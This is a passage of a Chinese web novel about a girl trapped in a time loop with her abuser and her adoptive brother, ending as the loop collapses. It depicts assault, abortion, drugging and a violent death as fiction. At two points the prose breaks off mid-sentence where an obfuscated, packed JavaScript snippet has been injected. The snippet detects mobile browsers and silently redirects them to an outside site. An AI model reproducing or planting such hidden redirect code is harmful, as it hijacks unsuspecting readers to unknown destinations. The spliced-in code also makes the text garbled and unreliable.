我故作茫然,在那股茫然还没来得及微调的时候,就见周驰被人从我身上暴力扯开,接着是照脸狠狠的一拳,他摔倒在地。 胡昭辛的背影挡在我前面,将我看向周驰的视线完全阻绝。 我从他身后探出头去,如同一个第一次见到他的人一般,小心问他: “你是谁?为什么要找我?” 周驰坐在地上,一头黄毛还没来得及染回去,耳钉也还在,擦着破皮的嘴角从地上爬起来,警惕地和胡昭辛保持了一段距离: “胡灵灵,我认识你。” “啊……可我不认识你。” 我说。 胡昭辛回过身来,本想拽我手腕,手伸到一半拐了个弯,轻轻搭在我肩上: “走吧,我们回家。” 我哦了一声,最后回头看了眼周驰,便顺从地跟着他走了。 那之后,周驰每天都锲而不舍地在我面前刷存在感,并且和上个轮回一样,搅黄了自己和沈晓丽的联姻。 胡昭辛叫我不管他做什么都别睬他,还跟我说,周驰这个人整天不务正业,很危险,叫我不要和他混在一起。 以“保护我的人身安全”为由,胡昭辛开始每天和我一起上下学。 我没有反对,实际上也没有反对的理由。 在周驰眼里,我是那个一无所知的高塔公主,需要他的全力拯救。 这个轮回,我没有目睹他藏枪的事情,与他没有利益冲突。 与此同时,黑暗中还有神秘势力在狙击我的性命,而他是即将发生的惨祸的唯一知情人。 我了解他。 他固有的、幼稚的优越感会驱使他必须保护我,如果他什么都不做,就会失去“知情”这一优势——尽管这并没有什么影响。 所以,即使我什么都不做,他也会千方百计找上门来。 ——他,同桌和我,都是有记忆的人。 他会是锚点吗? …… 这个时机很快就来了。 寒假里,我跟班上几个女生约好了一起去溜冰场玩,除了相熟的沈晓丽外,还有几个玩得好的女生。 等我到了溜冰场,换好鞋后,果然看到周驰已经在场地内等着了。 沈晓丽顺着我的视线看过去,握了握我的手: “别怕,他不敢对你怎么样的。” 这些天他对我的纠缠闹得人尽皆知,沈晓丽多次制止,他都当耳边风。 在看到我后,他果然慢慢滑了过来,在我面前缓缓停下,顶着沈晓丽不满的目光,从身后掏出一支玫瑰花递到我跟前,态度非常嚣张: “一起吗?我教你。” 我瞥了眼花,丢下一句“不用”,便拉着沈晓丽顺畅滑远了。 轮回这么多次,不把有用的技能点点满,岂不是很浪费。 不仅仅是溜冰,其他有的没的技能,游泳骑车翻花绳,陀螺摔炮溜溜球……我都点了个遍。 只有学习,是我一生之敌。 周驰也不恼,把花随手丢在一边,不远不近地跟在我和沈晓丽身后滑了一圈又一圈,等到我们中场休息时,又去买了两瓶热饮,递给我们。 沈晓丽费解地觑他一眼: “周驰,你在盘算什么?” “看不出来吗?我在追灵灵啊。” 他理所当然道。 “……你别祸害她。”沈晓丽态度相当坚定,不容拒绝地警告他,“她和你的人生规划完全不一样,不要把别人带歪,当心我跟你爸告状。” “怎么能说是带歪呢?你对我就有这么大的偏见?” 他在我身边一屁股坐下,手一伸就要来揽我,我轻飘飘起身,让他搭了个空: “我要回家了。” “我送送你呗。我家司机开车来的。” “不用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812211|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我有自行车。” 他神色高深莫测,在我换好鞋、拎着溜冰鞋找到自己的自行车时,才读懂他那个笑的含义。 小兔崽子,把我车胎扎了。 …… 我拎着溜冰鞋,拉着脸坐在周驰的私家车上,后备箱开着,里面放着我的自行车。 周驰和我一起坐在后座,晃悠着二郎腿,得意洋洋: “看看,要不是我载你,你还得在这个天气吹着冷风骑回家,多惨。” 我没回答他,他竟然也能自己一个人把独角戏唱下去。 不过说的都是没营养的废话。 骑车需要半个小时的路程,开车不到十分钟就到了。 正好卡在我要开始感到烦躁之前。 等车停在小区楼下,我正准备下车,却被周驰抓住手腕,他凑过来,笑嘻嘻的: “不给我点车费?” 我冷着脸: “别以为我不知道车胎是你扎的,我没跟你要补胎的钱,你得叫我一声菩萨。” 他叹了口气,趁我不备,迅速在我唇上亲了一口: “托我的福,你才不用大冷天的骑回家。结果你就这样想我,真够没良心的。” 我的手刚抬起就被他攥住了,他一副“果然如此”的表情: “就知道你要动手,唉,你什么时候才能讲讲理?你车胎真不是我扎的。” 我挑眉迟疑,他咧嘴一笑: “是我让司机扎的。” 毁灭吧! 我两只手都被他攥住,没办法揍他,只好用脚踢他,却被他抬腿压住,整个人覆在了我身上: “灵灵,真不和我试试?我比你那个古板高冷的哥要好得多。” 古板高冷? 他在说谁? 胡昭辛吗? 他比谁好? 他难道在玩抽象? 也许是我脸上表情过于嫌弃,他定定地看了我几秒,还是松开了手: “好吧好吧,不着急,毕竟你们认识很久了,我是后来的,总得花点功夫。下去吧,明天见。” 我没理他,推开车门,拒绝了他的帮忙,把自己的车从后备箱拆下来后,慢慢推着往家走去。 一边走一边思考,周驰这个360度全方位无死角惹人讨厌的性格到底是怎么养出来的。 其实我也想过把周驰干掉,一了百了。 心中的恨意在经过一次次轮回后增增减减,到了如今,足以给我挥刀的理由和勇气。 但我和他的区别就在于,我有道德有底线。 我永远不会成为他那样的人。 我杀不了他,而且即使杀了他,也改变不了什么。 下个轮回他会带着记忆回来,然后展开疯狂报复。 我看不惯他,但是也干不掉他。 我们注定水火不容。 只要时间循环没有解开,这就是个死局。 等我推着车走到楼下,准备推进车库时,看到楼道口站着胡昭辛,他站得像一棵僵直的雪松,看到我时向前迈步,脚步甚至有些踉跄,不知等了多久。 我垂下眼,预判了他的预判: “车胎被人扎了,周驰正好在,就送我回来了。” 胡昭辛在我面前停顿片刻,接过我手中车把: “我去推车,你进屋去吧,外面冷。” 我嗯了声,径直上楼。 就在擦肩而过的瞬间,我感受到了一种熟悉的心悸。 这种感觉,在我上个轮回的末尾,也感觉到过。 那一次,也是周驰来找我,被他发现…… 一个大胆而合理的猜想出现在了我的脑海。 也许,锚点真的存在于我们三个人之间。 而锚点松动的前提就是,我在胡昭辛和周驰之间,选择了周驰。 ……为什么? 不知缘由,但我大可以去试。 池镇的岁月,还很悠长。 27.落定 周家卧室里,空气窒闷得让人难受。 周驰伏在我身上,我抬眼望向天花板,心中被浓重的空虚和倦怠感填满,抬手,一把将他推开。 他被我推下去,有些茫然,又贴上来抱住我: “怎么了?疼?” 我随口敷衍了个理由: “累了。” 话音刚落,卧室门被佣人敲响: “少爷,您的同学胡昭辛找您,现在等在客厅。” 周驰面露不满: “你哥又来了。” 我扯过被子盖住自己,背对着他: “你去打发。” 他又高兴起来,吻了吻我后颈: “等我回来。” 我把头埋进枕头里,不再理会。 不知过了多久,身后床垫下陷,他又回来了,身上还带着沐浴露的香气: “我把你哥打发走了,他怎么知道你在我这儿?” “我出门之前跟他报备了。” “啧。跟他说那么多干什么?你是我女朋友,你来找我还要他同意?妈的,阴魂不散。” 我没说话,眼前景象动荡一瞬,又恢复平静。 每当我靠近周驰,远离胡昭辛的时候,空间都会出现类似的动摇。 随着和周驰接触的频率、次数加深,这种裂纹也越发明显。 如今已经摇摇欲坠。 身后贴上温热躯体,周驰往我手心里塞了个包装,哄劝道: “来,撕开。” 我面无表情地把包装扔到他脸上: “滚,累了。” 他也不恼,笑嘻嘻地把包装扔回床头柜,伸手来抱我: “行,那就休息。” 这个寒假,自从我住进周驰家后,就再也没有回过家。 我没有小灵通,胡昭辛要来找我,只能上门。 可我一直不愿意见他。 到最后,甚至闹到了报警的地步。 借助警察的帮助,胡昭辛才见到了我。 他以为我被周驰囚禁了,一见到我就冲上来检查我的身体,在脖颈处看到明显的草莓印后,脸色倏地沉了下去,用指腹狠狠地摩挲那处: “他碰你了?” 我抬眼,漠然地看着他: “胡昭辛,他现在是我男朋友。” 他呼吸一窒,嘴巴张张合合半天,才语气虚弱地说: “那也不能家都不回。” “我不想回。”我垂下眼,在他质问出声之前,先发制人,“在家里卧室的床上,我会失眠,好不容易睡着了,也会做噩梦。但是来了这里之后,我睡得很好。” 他静默片刻,轻柔地抚了抚我的脸颊,像是怕把我吓跑一般,眼神也有些躲闪: “那我们换房间,可以吗?” 我往后退了一步,躲开他的触碰: “你别碰我。” 他的手指蜷了蜷,慢慢放回了身侧: “灵灵,你要做什么都可以,搬家也行,但是别跟周驰混在一起,行吗?他就是个混混,他只会……只会让你痛苦。” “哎,你这话说得就不对了。灵灵来我家之后,我让她过得可快活了。” 周驰在一边被警察控制住,笑得张扬,视线粘稠。 “闭嘴!”胡昭辛忍住在警察面前揍他的冲动,抓住我手腕,“跟我回家。” “我不。”我挣扎着,眼前空间再次出现剧烈波动,我的挣扎变得更加真情实感,“我受够了,胡昭辛,我受够这一切了!” 他没有松手,表情变得费解: “受够了什么?” 一股冲动让真相涌到嘴边,我呼吸急促,望着自远处开始不断崩塌的景象—— 高楼散成碎片,天空撕开裂隙,整个池镇由远及近,无声地土崩瓦解。 在我和他即将摊牌的这一刻。 像是沙盘崩溃的瞬间。 啊啊,一切都接近尾声。 快要结束了。 就差一点了。 我深吸一口气,勉强维持住声音的镇定: “我受够了这该死的轮回了。” 他面色瞬间苍白如纸,我不管不顾道: “每个轮回结束之前你都要问我,爱不爱你,能不能爱你。让我爱上你,这就是轮回结束的条件是不是?伯父伯母笔记里写的‘锚点’,就是我,是不是?每当我的行为出现重大偏移的时候,每当我和加害者周驰越走越近的时候,‘锚点’就会被摧毁一点点——这不正是你想要的吗?你也想要结束这样绝望的轮回,所以才在我面前装了那么久,就是想让我爱上你,是不是?” 无形的纽带随着我的这段话铿然断裂。 “我……” 他像是想要反驳,张开嘴却无从辩起。 我太熟悉他了。 他这样的表情,就是被我戳中心事的表情。 所以,其实他也不是真的爱我。 他只是想要离开这座永无止境、无限循环的池镇,才会假装对我好,试图骗我去爱他。 都是假的。 都是假的! 在胡昭辛震撼破碎的眸光中,我大笑着流泪,胸口开始剧痛,明明没有凶器,却撕扯开狰狞的口子,身体像破了个洞的水球,鲜血止不住地涌出。 那是我本该有的死法。 就好像是一个在世间游荡已久的孤魂,突然发现自己其实是个已死之人一般,开始烟消云散。 …… 我有一个哥哥。 他对我很差。 自从他被我家收养后,总会在背地里欺负我。 我很讨厌他,又希望他能对我好一点。 他非常不喜欢见到我,这种厌恶甚至逐渐升级成了不愿意跟我在同一所学校,不愿意让别人知道我们的关系。 就好像我是什么脏东西一样。 直到高中,他考进了县上的高级中学,而我因为中考前几天,不小心传染了甲流,导致没有发挥好,考到一半晕倒在了考场上。 我最后只能去池镇高中——一个野鸡高中。 这下他应该满意了,我和他不出意外,不会有太多见面的机会了。 可是高三某一天的夜晚,我目睹了隔壁班一个叫周驰的同学藏枪,联想到了前一段时间转学生季野被枪杀的案件,有可能就是他干的。 我藏得不够好,被他发现了。 随之而来的,是全然漆黑的地狱。 他的家世背景很硬,校内外也有很多兄弟。 我不知道要怎么办。 可爸爸妈妈很忙,常常不在家,哥哥……也许并不会管我。 如我所料。 当我拖着残破的身躯,从岩边一步一步走回来,推开家门时,面对的是哥哥冷漠的斥责。 他说,如果我再夜不归宿,就死在外面好了。 一颗心潜入深海,一点一点凉透。 他讨厌我,是因为我不够好吗? 如果我不是我,他会喜欢我吗? 如果他知道了真相,会从周驰手中保护我吗? 灵魂被撕裂,一半在叫嚣,杀了周驰,你有权报复! 另一半则在哭泣,忍忍吧,无人会为你撑腰。 不久后,我发现自己怀孕,偷了存钱罐的钱,默不作声地去医院做了手术。 那份验血报告就是压垮我的最后一根稻草。 原来不管我怎么做,他都不会喜欢我。 我是当年那桩命案的遗物,我的父母,陈启夫妇,被他的父母杀死了。 ——学术争端,上升到杀人灭口。 只要我也死去,那件事就会无人知晓。 高考过后,我在他父母的饭菜里下了安眠药,静静地等他回家。 我本想将这栋屋子连同我们四人,统统付之一炬。 流产的后遗症折磨着我,腹部和心脏一起在痛。 我不知道要怎样做才算报复,无论我怎样做,我的父母都不会复活,我失落的十四年也不会回来。 我本想质问他,可真的面对他时,却什么都问不出口。 因为这十四年,他的行为已经给出了答案。 ——他恨我吗? ——恨的。 ——为什么? ——只要我死了,他和他的父母都会安全了。 所以我如他所愿死去了。 他以为我杀了他的父母,就好像他们杀了我的父母一样。 我握着他的手,不再挣扎,放松了力道。 视网膜里最后留下的是他溅上鲜血的脸,没有慈悲。 …… 胡昭辛抱住倒下的我,手掌惊惶地捂住我出血的胸口。 喉咙溢出鲜血,我听到有人大喊快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819279|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打120,但又有一部分人在惊叫—— “快看远处!” 大厦倾塌,地动山摇。 像是幻境破碎,又像是世界崩坏,以我为圆心,一寸寸逼近。 那是平日里只能在电影中看到的景象。 可胡昭辛没有抬头看那末日一般的景色,只是低头悲伤地捂住我的伤口,把我抱起,带上警车。 胸口从未死去的恨意,对这个世界的恨意,对周驰、对胡昭辛、对他父母,对所有伤害过我的人的恨意,山呼海啸般将心口填满,仿若厉鬼,重回人世间。 可我最恨的,其实是我自己。 恨那个渴求着父母之爱,兄长之爱,傻乎乎等了十四年的我自己。 不被爱的人,会变成怪物。 哪有什么爱啊。 一切都是假的。 我曾以为它触手可及,多到溢出。 可胡昭辛给予我那些多到溢出的爱,却是如此苦涩冰冷。 当我后知后觉地剥开糖衣才发现,里头装着的都是见血封喉的毒液。 我痛苦喘息着,带着快意的笑: “胡昭辛,我不想和你演下去了。是生是死都无所谓,我要结束这一切循环……” 我要结束池镇的夏天,结束永无止境的虚与委蛇。 所以我和周驰在一起,做了从前的我绝对不会做的事。 “锚点”崩溃,世界寸寸碎裂。 “不,不要死……”向医院飞驰的警车上,他死死按住我的伤口,露出了难得一见的、属于他这个年纪的慌张无措,“胡灵灵,等你好起来,我们谈谈,好吗?不是你想的那样,轮回结束的条件,不是你想的那样!” 我闭目不语,身体一阵阵发冷。 窗外大厦倾塌时发出骇人轰鸣,驾驶座上原本开车的警察不见踪影,方向盘自顾自转着,警车在一片崩坏的废墟中平稳行驶,穿过烟尘,穿过街道,穿过瓦砾。 日光变成昏暗橘色,连他的脸都要看不分明。 外面飞沙走石,一阵阵往挡风玻璃上扑。 ——前方不是医院,一闪而过的路标指向池镇之外。 我的身躯一寸寸腐坏,指尖化为白骨。 他惊慌地护住我的手指,眼睁睁看着肌肤剥落,白骨成灰。 前方“池镇”的标牌越来越近。 快要出镇了。 脑海中莫名浮现出青城山那名年轻人的箴言。 “已死之人,不可复生。” 胡昭辛紧紧抱住我,带着泣音呢喃: “轮回结束的条件,是我爱上你,那是曾经的你最想要的东西。我问你爱不爱我,不是为了骗取你的爱,也不是为了摆脱轮回!我是真的想知道,你有没有喜欢过我,哪怕一点点?” 我咬紧牙关,挤出两个字: “绝不。” 这一刻,千万个轮回在我心头闪过。 每一个轮回里,在那些至暗的日子里,“胡灵灵”都会毫不犹豫地给出这个回答。 我曾是个以爱为食的怪物。 在我死后,整个池镇化为异域,无知无觉的厉鬼将他拖入这场赌局,用全部灵魂,去赌一颗真心。 可就像解题,如果题干是错的,那无论答题者多么聪明绝顶,都不可能得出正确答案。 我强求的这个赌局,就是一道没有正确答案的废题。 如果真像他所说,轮回结束的条件,是他爱上我,那么轮回为什么一直持续至今,答案已经不言自明。 ——他一刻也不曾爱过我。 所以我累了,倦了,决定放过他,也放过我自己。 亲手摧毁“锚点”,从此以后,尘归尘,土归土,已死之人重回地下,生还者重返阳间。 在天地崩塌的轰鸣声中,我听到他的低泣: “灵灵,不要结束轮回,好不好? “我会陪着你的,会永远陪着你—— “灵灵……” 崩坏没有停止,他无可奈何,紧拥着我开始消散的身躯,在最后一刻哽咽道: “我是爱你的。” 这是他第一次将爱之一字诉诸于口。 我的最后一点灰烬消逝在他怀中。 话音落地瞬间,风烟骤止。 警车驶离了池镇。 一切尘埃落定,风朗气清。 循环结束了。